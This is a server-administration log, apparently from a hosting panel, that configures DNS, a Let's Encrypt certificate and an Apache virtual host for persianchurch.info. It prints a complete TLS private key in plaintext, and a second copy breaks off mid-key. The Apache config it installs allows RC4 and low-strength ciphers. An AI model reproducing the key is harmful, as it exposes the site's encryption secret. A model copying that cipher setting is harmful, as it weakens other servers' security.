2025-12-23 17:44:13: Establishing a connection
2025-12-23 17:44:15:
PUT: /tmp/pkp541151
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '954ebedf55cc0740293342780846a6cd'
ZONE_NAME = 'persianchurch.info'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-12-23 17:44:15:
chmod 755 /tmp/pkp541151; /tmp/pkp541151; rm /tmp/pkp541151
2025-12-23 17:44:16:
2025-12-23 17:44:16:
PUT: /tmp/pkp790684
#!/bin/bash
if [ -f "/usr/bin/yum" ]; then
echo status=not implemented
elif [ -f "/usr/bin/apt-get" ]; then
systemctl is-active --quiet bind9.service
retVal=$?
if [ $retVal -ne 0 ]; then
echo "status=Starting BIND9"
systemctl start bind9.service
else
echo "status=Reloading BIND9"
systemctl reload bind9.service
fi
fi
2025-12-23 17:44:16:
chmod 755 /tmp/pkp790684; /tmp/pkp790684; rm /tmp/pkp790684
2025-12-23 17:44:16:
status=Reloading BIND9
2025-12-23 17:44:36: Establishing a connection
2025-12-23 17:44:38: Establishing a connection
2025-12-23 17:44:39:
PUT: /tmp/pkp860404
#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-23 17:44:40:
chmod 755 /tmp/pkp860404; /tmp/pkp860404; rm /tmp/pkp860404
2025-12-23 17:44:40:
1
2025-12-23 17:44:42: Establishing a connection
2025-12-23 17:44:43:
PUT: /tmp/pkp352370
#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ
cat > jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs
2025-12-23 17:44:44:
chmod 755 /tmp/pkp352370; /tmp/pkp352370; rm /tmp/pkp352370
2025-12-23 17:44:44:
2025-12-23 17:44:53: Establishing a connection
2025-12-23 17:44:54:
PUT: /tmp/pkp806626
#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ
rm jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs
2025-12-23 17:44:55:
chmod 755 /tmp/pkp806626; /tmp/pkp806626; rm /tmp/pkp806626
2025-12-23 17:44:55:
2025-12-23 17:44:55: Establishing a connection
2025-12-23 17:44:56:
PUT: /tmp/pkp325261
#!/bin/bash
temp_file=$(mktemp)
TARGET=66fe979384f486c79f8519a848115361.crt
cat > $temp_file <<'endmsg'
12:36:5c:47:ed:2b:7d:f4:3e:72:8a:5f:60:4c:32:08
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBghSTwKQzRmvBt4sJz7mIyDvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIzMTY0NjIxWhcNMjYwMzIzMTY0NjIwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwfUSK0urHZ/mKqO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfG
wyLqrZku9SIo7nmmshlLj/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8f
kFkmxT/JI7ryxDdzjY3e/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFr
ThP3go6jC4y7zqCE3Pim0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z
3YoLiq1ziatRBJhZOYrnWCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJK
r1LzLuaupMZjXdvlItUbMB5sa9rzAgMBAAGjggJEMIICQDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBg8RkyvnlYYFGaoI4bmxGk47UMjMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNy
bDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AGQRxGykEuyniRyiAi4AvKtPKAfU
HjUnq+r+1QPJfc3wAAABm0xQVmQAAAQDAEgwRgIhANQXyPykgDKHYJjfIw1ttqq1
0iZAMhFq/KC+/4xsX+EpAiEAmfSPkXioNHugLC5lRfi1DghcuaevY3IzUo8TEDe6
cQ4AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZtMUFgrAAgA
AAUALQOMKgQDAEcwRQIgB6Io9blqDcmze9uFuWUKnHp1r61EsY4s9Ja3EB/zNCwC
IQD3C2o1505ed+IEvDdm+hupVOr+Y6+nfr5IDtej0NyXgzANBgkqhkiG9w0BAQsF
AAOCAQEArvnb5zvdgS4heVQZr3TLQf2plHudm71vWafDK+DVbrlrivDPekhKyJk5
k+B6eGkb4nRE29KjyIJbxQwKtOYdCbHyi8Ovf9BBZAqgR96GXBYmBl4qL66JQdDN
BJrRSCnVEsxHZziCv2TRqKVQ3ZjcZ68v+bHl11G3siekYOwuxRxEsipuyLFzxCQc
lPZCUxsgoyIkC4aSp4wj7Gsna9tm35/Uyt05RKfhOro/BygMrZP84f2zpkq7UE/q
MQBWANHQgO1cXTJ2cNPoh5Z7u9q+7xM+RfrdQq8yvXnwMyBHfnCQAfQZ3jEMyv/h
4mZk/x1O4rbn6fmBSJJrRKiV5qqMBw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDwfUSK0urHZ/mK
qO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfGwyLqrZku9SIo7nmmshlL
j/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8fkFkmxT/JI7ryxDdzjY3e
/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFrThP3go6jC4y7zqCE3Pim
0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z3YoLiq1ziatRBJhZOYrn
WCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJKr1LzLuaupMZjXdvlItUb
MB5sa9rzAgMBAAECggEBAI5c2ZKEwU9CEcsvrr6uFu/eOEMhdhBZ/WpsvDxVMgGu
eBShw7p36W0YLB/RrH3YPnI50vsAESvJCohct4MukuUwuu+fTeP9SpNku9RmtuYW
6ht6QAPUP4XyNdxtixkUc2oSqLzFwz24cl+r7J5nddFp/sfKdwHrC4C8rlpir7+q
tP13Cav1D8yhRNfxP1jieS1MCE6+a+ykMYpjvqy0K/ntAa7nqYSL4oZx3OvigGgc
boPa+5X9IRViphCnpkn+pRUVZKSXNmQlqNOrul1G74cHMVoQxRyXNWjsAWVQbHo1
k4wEe+USiDDI6nbDq8w8m6zNU23H9vODqpMe0a+tkkECgYEA/GuH/PfTARH/UxBd
V6wE/OrFdAV1IXdj3sUfH4rg+LnxRkVjxc8lylpnFXZHB+XYpvUH3fbTQj7eX2LR
7MZLZZAWQphOIBbYsFK6hhmiyDVmkF+XsSM6UYrPcnQu4Bd4BTcBjWwm50rWOGMR
x078NqgpiyiP55rPUagZuAA0VIsCgYEA8+ZrWdYsjyEjO9g/Xo3VjgavDog4bszA
xirvMe87w7NvTGkKp56nyhwqb7uGlQkP6OVc7t+eHHrD04cBEEKnhMhGSh4EBgB4
k3cM3t1vqR9lXGABp/hbTZ/K/SRPdRwE01V/6cgH4wUrBqq8VLcRPxL1mDksC7Sm
/EPbzI2IGDkCgYEA+f1dXvHqLeMvJYrNhyi8f+fbyj4ldRGS/WvomQqoKG2vQNM0
LxIq8S97bEwJqQ6/9Qoz0mbDb5ZoEbwDACabQWjkQuwoY6t8y5QDWxBEoVgRzeZ+
i1bCSUPalBXw3ssfeLqzdOap2OPLKWkkkGnvbAo7qrBvZQdzUAHWBt9c9GUCgYEA
7+CHZGvIl1y4Enu0l4JXrr/UHC7Nkeu/DSfc6Peph+hKZpRI7mKUE6tv8UQ2MQ4g
n6Y1qJo2Hzx+rOPyn9NufqGav/qVanG8JQzJk8elsmg2gIvMFS+mXMn0EtRLcZqF
BHTqwTsCxrymfIAfihIi3C4Bbh2MvFaIhUMYQi5Q08ECgYEA1qD+RxVrD9RgCAOE
9UT7mv80imvbXT1m4iqZnXiN1NOgRYA9hPDB/82uyOhjOWhoNqaZdMLJhutYCOk6
H6gMiS1TkLF2wKaVQLEgD/Q2j5FYS7GNHWzZHAan5tSRIUpRTeD+EfL0cXmXSW26
NdsqEFMXH0Z5/VvOUgJebvJo+8I=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-23 17:44:57:
chmod 755 /tmp/pkp325261; /tmp/pkp325261; rm /tmp/pkp325261
2025-12-23 17:44:57:
dir=/etc/ssl/certs
2025-12-23 17:44:57:
PUT: /tmp/pkp539124
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 17:44:58:
chmod 755 /tmp/pkp539124; /tmp/pkp539124; rm /tmp/pkp539124
2025-12-23 17:44:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-23 17:44:58:
PUT: /tmp/pkp855273
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi
2025-12-23 17:44:59:
chmod 755 /tmp/pkp855273; /tmp/pkp855273; rm /tmp/pkp855273
2025-12-23 17:44:59:
2025-12-23 17:44:59:
PUT: /tmp/pkp933263
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-23 17:45:00:
chmod 755 /tmp/pkp933263; /tmp/pkp933263; rm /tmp/pkp933263
2025-12-23 17:45:00:
.
2025-12-23 17:45:00: Establishing a connection
2025-12-23 17:45:01:
PUT: /tmp/pkp204905
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-23 17:45:02:
chmod 755 /tmp/pkp204905; /tmp/pkp204905; rm /tmp/pkp204905
2025-12-23 17:45:02:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-23 17:45:02:
PUT: /tmp/pkp584930
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 17:45:03:
chmod 755 /tmp/pkp584930; /tmp/pkp584930; rm /tmp/pkp584930
2025-12-23 17:45:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 1429
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-23 17:45:03:
PUT: /tmp/pkp401903
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 17:45:04:
chmod 755 /tmp/pkp401903; /tmp/pkp401903; rm /tmp/pkp401903
2025-12-23 17:45:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt 5406
12:36:5c:47:ed:2b:7d:f4:3e:72:8a:5f:60:4c:32:08
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBghSTwKQzRmvBt4sJz7mIyDvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIzMTY0NjIxWhcNMjYwMzIzMTY0NjIwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwfUSK0urHZ/mKqO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfG
wyLqrZku9SIo7nmmshlLj/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8f
kFkmxT/JI7ryxDdzjY3e/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFr
ThP3go6jC4y7zqCE3Pim0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z
3YoLiq1ziatRBJhZOYrnWCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJK
r1LzLuaupMZjXdvlItUbMB5sa9rzAgMBAAGjggJEMIICQDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBg8RkyvnlYYFGaoI4bmxGk47UMjMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNy
bDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AGQRxGykEuyniRyiAi4AvKtPKAfU
HjUnq+r+1QPJfc3wAAABm0xQVmQAAAQDAEgwRgIhANQXyPykgDKHYJjfIw1ttqq1
0iZAMhFq/KC+/4xsX+EpAiEAmfSPkXioNHugLC5lRfi1DghcuaevY3IzUo8TEDe6
cQ4AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZtMUFgrAAgA
AAUALQOMKgQDAEcwRQIgB6Io9blqDcmze9uFuWUKnHp1r61EsY4s9Ja3EB/zNCwC
IQD3C2o1505ed+IEvDdm+hupVOr+Y6+nfr5IDtej0NyXgzANBgkqhkiG9w0BAQsF
AAOCAQEArvnb5zvdgS4heVQZr3TLQf2plHudm71vWafDK+DVbrlrivDPekhKyJk5
k+B6eGkb4nRE29KjyIJbxQwKtOYdCbHyi8Ovf9BBZAqgR96GXBYmBl4qL66JQdDN
BJrRSCnVEsxHZziCv2TRqKVQ3ZjcZ68v+bHl11G3siekYOwuxRxEsipuyLFzxCQc
lPZCUxsgoyIkC4aSp4wj7Gsna9tm35/Uyt05RKfhOro/BygMrZP84f2zpkq7UE/q
MQBWANHQgO1cXTJ2cNPoh5Z7u9q+7xM+RfrdQq8yvXnwMyBHfnCQAfQZ3jEMyv/h
4mZk/x1O4rbn6fmBSJJrRKiV5qqMBw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDwfUSK0urHZ/mK
qO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfGwyLqrZku9SIo7nmmshlL
